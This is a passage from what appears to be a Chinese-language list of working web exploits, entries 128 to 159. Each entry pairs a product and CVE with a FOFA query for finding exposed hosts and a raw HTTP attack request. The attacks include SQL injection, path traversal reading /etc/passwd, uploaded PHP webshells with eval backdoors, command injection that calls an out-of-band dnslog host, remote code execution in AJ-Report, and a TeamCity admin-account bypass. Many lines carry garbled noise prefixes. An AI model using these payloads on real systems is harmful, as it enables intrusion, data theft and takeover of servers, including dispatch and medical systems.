4 L0 h9 I: {/ \. n9 c<test>&t;</test>
& b  Z% a8 _: p* g: t! t- k------WebKitFormBoundaryJGgV5l5ta05yAIe0--
9 `9 j3 h# y9 ^2 ]. ~8 p
# K6 o+ Q1 T+ I3 m3 G$ L

2 t$ S& t; B7 Y4 D& Y2 q' Q0 v' N128. Adobe ColdFusion 反序列化
CVE-2023-38203
& K, e: p' V" b0 h' tAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
3 E4 L# Z* o: K$ H& PPAYLOAD
& ]( d( m* g3 v, d9 T2 t8 a( z
2 Z; a! t* r9 ~1 T* Q7 ~  l129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
. {& k- t7 U: d- s% Q3 q第一步，获取uuid
- {. H) I5 K4 S8 P$ z8 R# qGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
! v0 F& d- |/ `. x* ]' M, U3 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 p5 A9 Q2 k$ I2 ?Accept: */*
Accept-Encoding: gzip, deflate
0 f' h$ q! ?: n+ |5 KConnection: close
) v4 n2 Z) O! v

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
+ D% g$ ~, K9 \, e. X( y4 SConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
: t' M$ U4 l5 Y. K6 A# h
, }6 |& k9 P% h$ ?) z: [
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
* l) D6 T8 L5 ]. R9 J' R5 s5 qPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
1 j- B" X' C  v( ^' i! ]( fAccept-Encoding: gzip, deflate
& z8 f! e8 c# \; A6 X% m' i: @Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
. D) E2 z' d% Y5 R* I- SConnection: close
, J1 k$ G! Z5 e+ x# Z% W
% R; _4 u0 U3 w------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
" |3 q' _* p7 `: u( PContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

4 s7 y! I& _& Y9 g132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ Q3 s5 {% k6 v- \Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
, r7 D+ S' R% M7 W  t
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
3 g" a* ~- [* Z% U

2 t8 }- X' l, K, M( c9 eCVE-2024-27199
8 V0 O% j0 j$ y! R. e7 R/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
* X- o1 w, q0 R  s1 c5 p/ I5 `/update/../admin/diagnostic.jsp
" d# d' Y: b$ L' e# N6 ^2 I

CVE-2024-27198-RCE.py
; _8 l3 p* |9 i) r  u- i2 K3 k9 X
/ ~: Q" |4 r. N4 E* ~. M1 F" y133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
1 s+ p4 i! o9 e3 E% d$ sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
. a$ D. W) w0 J' `) jContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
* f' t0 \. U7 Y( e------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
* w9 D& N& |- X& E3 I( Q/ f
7 L5 M1 i5 }+ F) _* ]  @# s3 ]1 e5 [
! s8 C% l8 E- ]* H% G+ h1 E( r
+ `5 [3 v' Z4 L+ l4 G) ^134. 网康NS-ASG应用安全网关index.php sql注入
# K. I2 v1 C# u" KCVE-2024-2330
) T7 G( U' a& q2 O0 ~Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
" Y9 ?! s4 q* F$ ~1 R5 B$ @POST /protocol/index.php HTTP/1.1
6 P  B5 b0 f- C6 e! ~' iHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
( v, r: g4 n6 _+ h  QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
7 M& W4 c9 E" c% i( N% P! r4 ?) jTe: trailers
& R9 l) s+ r) ?, I( dConnection: close
$ j2 P# S3 M( s( k/ KContent-Type: application/x-www-form-urlencoded
! l/ `" G: j* @% ]: J) M5 BContent-Length: 263
! m! ~0 k" ?* g; ^# w
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
% G8 a: C* R. C& p! fHost: x.x.x.x
) O# |5 p$ A+ d) }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# e8 O2 O; }* a/ ~7 w# N% u: @Accept-Language: zh-CN,zh;q=0.9
  P1 T* q- `4 {Connection: close


1 o8 ?3 E# j2 s136. NextChat cors SSRF
7 N  {2 \3 K% kCVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
7 O& E* ~& `1 e4 h" _# B  mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# e3 J7 c9 O8 \# @. b3 E8 W! ?8 }Connection: close
Accept: */*
& j! T6 C" S' q/ B, `1 ^Accept-Language: en
Accept-Encoding: gzip
7 p. l0 P: @5 j0 W
9 R$ Q/ T" b* \* K
8 F2 \. C9 f  V9 O. ^137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) S6 _8 p& s5 f. r) o6 b- CGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
! I& {" V% q  k' i; m" OHost: x.x.x.x
; ?/ }# e( C3 u3 K( dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 L, r0 _. P/ O9 T# J1 q3 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 v' u+ A( z) }: \) lAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
5 Q3 b$ n' @( FUpgrade-Insecure-Requests: 1

, \9 W$ v7 }% A/ @0 F% b4 V
2 R5 }" S* t0 v3 f9 L* q3 i6 n; ^9 ^3 s138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
# Q# V8 n- n  r! w; ^% c5 FCVE-2024-2621
, z) e) H3 Y: T& rFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
" |$ |+ Y1 P6 p5 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
- G: _; o8 L& OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, ~) B# P# \/ ]4 H0 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

# P  r# a3 n: }6 R8 q& h" Y
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
% v0 @) [* {! sCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
* o1 L1 F9 J6 B6 G, P& p! P& MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" j# j% j% P' ~+ J/ IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 M- H. d# g6 A1 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
: Q' C3 B! f+ p- _7 b& Z$ b& B, {  |Upgrade-Insecure-Requests: 1
' b' c) V4 b8 ~2 F" n% p

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
% G) V5 D1 w- e+ O$ z9 O8 H" ]CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
' ^7 p% z2 I. B; NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( v1 |, o; u. p/ d1 k/ `: aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
- h% N" V! ]' O4 P, K- S8 ~" BUpgrade-Insecure-Requests: 1
% @6 j; Q% ~9 Z8 }6 R

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
4 R; K6 w4 |3 J: B7 G( j5 D, PFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
* A- h" e% H+ @4 kContent-Type: application/x-www-form-urlencoded


( m0 @, b6 i9 _& }dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
% t$ h4 F+ E; f) J" `
" O' Y( F; a* O) O
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
* _; I6 P, o% m- H' E* ~( ~admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

5 L7 J& N8 T% i# B144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
8 s: X  ~0 B  S0 a9 R9 Ssystem参数用于传要执行的命令
0 \- R8 p" z/ O% _* _GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
8 X+ p6 J3 }4 ], b4 m, gHost: x.x.x.x
  w+ e* ~% {: e4 BUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
5 r. T4 u3 P2 j- p4 KConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

6 A" A! L) U1 _( A& P
# u: f' ^: {) c145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
2 O$ y8 T+ u9 J% SCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
8 z1 i+ n& ~: `4 v3 B5 M& Y6 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
+ X" C& L5 I2 f: m% cAccept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
; y; D4 o4 F+ N% ]CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
) M% U% V( {- a, F0 eAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

( h& W( P: |) q6 c3 c
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
+ D, E' `' c+ r: m7 TCVE-2024-32399
4 p- T* ]4 I( M, nFOFA：body="RaidenMAILD"
, u, i( m8 h7 Q' m$ {GET /webeditor/../../../windows/win.ini HTTP/1.1
4 }. ^; S8 l3 e, {. r4 qHost: 127.0.0.1:81
4 p, w5 x7 o( c" |* V/ N( RCache-Control: max-age=0
Connection: close
" M7 L+ H6 F' Y: c+ E& s
$ C: g0 e" \0 z3 d8 A# J
+ j0 K; r: M% ]* E* p148. CrushFTP 认证绕过模板注入
CVE-2024-4040
/ m: |# b" U( S9 G+ {0 V1 EFOFA：body="CrushFTP"
# d  m4 v& H9 u  nPAYLOAD

  \. v1 @0 U, G* i4 d7 c149. AJ-Report开源数据大屏存在远程命令执行
6 j  a0 }2 L! M) D* GFOFA：title="AJ-Report"
: v8 {* b: |' @9 c# H9 U
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
! p/ w/ r+ t( ~4 \: }/ B! MHost: x.x.x.x
; E9 \7 E- v8 i! ^, z4 m1 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; x- e4 n: y* @Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

0 ~& a2 X8 k  w7 X{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
' f6 I  V# R2 I# b6 j# k1 ~4 fFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 A+ B3 u) x  p; {* q3 U3 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
" Y) ~+ A6 s# U2 x6 }Accept-Language: zh-CN,zh;q=0.9
' y+ Q6 l7 r$ s% ^Content-Type: application/json;charset=UTF-8
% G# x1 x  b0 Z  h! ?+ ^: P) I$ ^Connection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
3 f  _4 n6 A; G& N
& M$ W/ F0 `& l4 P& e  i) ~
! X: U! c0 ^* x151. AJ-Report 1.4.1 pageList sql注入
  d+ O% R5 O% M* |FOFA：title="AJ-Report"
! d- o& Z" Z& X& O) |GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
5 x1 n) I; e8 F7 ]' D; HAccept-Encoding: gzip

9 z# @) n( W  f. M" O, H# K; K
" O; @! n5 U$ h& o. {152. Progress Kemp LoadMaster 远程命令执行
* r) R4 W9 E" Y' |8 d8 e3 JCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
5 T7 ~) F# ~4 n" A- ~- `LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
) A/ _! u! |) r* C' |: m3 @FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
' i4 `$ v# V% y" K/ H( n0 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
  [! D! w" C+ x7 G; aConnection: close
* y$ p2 j3 ^+ h. B9 ~Accept: */*
  m) i) c( n  j) Z% F6 v$ bAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
1 ?% l- K1 G6 k# m: h( w8 ^4 M4 h第一步，请求/config文件获取componets的id
http://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
$ ~: H' B" y2 P8 c3 dConnection: close
Content-Length: 115
2 Z/ k, c  m5 \0 h3 Z9 FContent-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

4 c% Y' J$ z6 y  p: s
第三步访问
7 H0 G+ i. A5 t, \+ q0 a/ R$ p1 I+ ~' Khttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
6 L' z5 a* h) K  l! MCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
/ V3 \" E2 y6 s5 g. OPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
. V7 }: m. p* ]' J; w: L. W: |Host: x.x.x.x
' f- G/ _5 n, t8 S3 p. dContent-Length: 106
Cache-Control: max-age=0
8 w; G0 A! T' [* p6 d1 Z7 C+ j+ mUpgrade-Insecure-Requests: 1
- J' R2 s! ~* D! u  M/ H' X; ^& fOrigin: http://x.x.x.x
/ ]% l2 z. x2 ?/ z8 w7 A4 dContent-Type: application/json
: F; i. j8 y6 ]- f0 _2 k& kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
5 B- J; K; O* _' GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
1 A  C5 j, m/ Y1 {/ ^Accept-Encoding: gzip, deflate
% u4 q" q+ B/ C: K4 i( e. ~4 z& |5 `Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
6 K0 B5 N! x3 D8 \7 {% O" J
9 U3 W" P4 U" s0 i/ l{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
& D7 d% H1 b2 _: N1 F
. C% ]3 X, h# \* Y# @- P. ?( x" m
155. 六零导航页 file.php 任意文件上传
! }; h) m/ \6 @4 \CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
3 ]7 U  s. L  u; UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  \0 g5 o, \5 T: `6 }Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
* n% F5 W+ q* ~; E: f5 \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' r! N& S! O0 o! }* K# HContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
" X' R) r) W! }  g0 XX-Requested-With: XMLHttpRequest
7 x/ q* B5 S# n2 D% t
-----------------------------qttl7vemrsold314zg0f
% n4 E  H& @6 M! T/ x5 C, f! P) Z" DContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
9 C" I& Z2 g, U' x, {4 G( x

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
8 K8 M* c$ W$ N1 ~. T* j6 Y
8 Q2 B4 G% d# L- K9 i3 @156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
  p+ X( ]( {1 g  W5 c' g: xcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

5 p, t  P! ?4 x, E* O; o
# b/ F4 z( \! f2 A% ~" y1 a" A, ]POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
0 d9 ~+ P9 ?, b7 A/ g. |/ oUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" l- C( E/ S# k, S6 t' uConnection: close
Content-Length: 0
Cookie: uid=1
2 U6 X% L2 V) T# BAccept-Encoding: gzip

3 `- K* A* I* I, r, ~: D9 V
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
' P$ }: t+ ^: X  ]FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
4 |1 l9 K/ k; U- B, A& K4 W' T7 yHost: x.x.x.x
5 ]9 [: y6 J2 n3 ]6 j/ ~; V" `# fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
& ~# w9 z( J* ^; N. wContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 W; o& g# s. Q. B( GAccept-Encoding: gzip, deflate
1 ?' c6 i& ^2 a, v% mAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
9 `4 Y1 u3 }  T; \# yContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

# t  l' R: O3 D6 O------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

( j  S0 o' n7 n. g$ tnull
------WebKitFormBoundary1imovELzPsfzp5dN
( F7 F3 O- P- R# x/ kContent-Disposition: form-data; name="form"

null
3 B/ ?# ^/ I% P+ s------WebKitFormBoundary1imovELzPsfzp5dN
3 J/ n0 J( H$ O& g0 r9 RContent-Disposition: form-data; name="field"

' O! A. _( H0 |null
------WebKitFormBoundary1imovELzPsfzp5dN
- V* |% L* P9 c, @! Y; XContent-Disposition: form-data; name="filetitile"
1 |' t3 S! g+ {. Z8 W2 |
null
+ B" m& b0 Z' m% e- [( Q------WebKitFormBoundary1imovELzPsfzp5dN
& W7 b; U/ h" H% ?$ AContent-Disposition: form-data; name="filefolder"

1 e% u! a9 i2 E4 K+ knull
7 p# N) G0 B- P7 q( p------WebKitFormBoundary1imovELzPsfzp5dN--


1 g- ^4 o3 ~& Z0 ^% n) Y5 E" y9 ihttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

9 f4 q! P# ~! V2 g1 B: w  _158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
1 T: u5 R' O$ J. d' aFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
1 ^8 d6 n8 V7 \$ x
object=displayregion&contenthistid=x\'&previewid=1

5 h: O6 k$ A* S4 c# t
4 _3 s' d& z) [2 @5 j+ |159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
& Q; b& d2 x* BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
% E  S) M( ^. {- F2 p9 pAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

# a: O, M2 D& y<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* G! ^) F  t' ~  G* i: E4 K! j<soap:Body>
<jobUpload xmlns="http://rainier">
5 A1 u* O# K  _" Y<vcode>1</vcode>
<subFolder></subFolder>
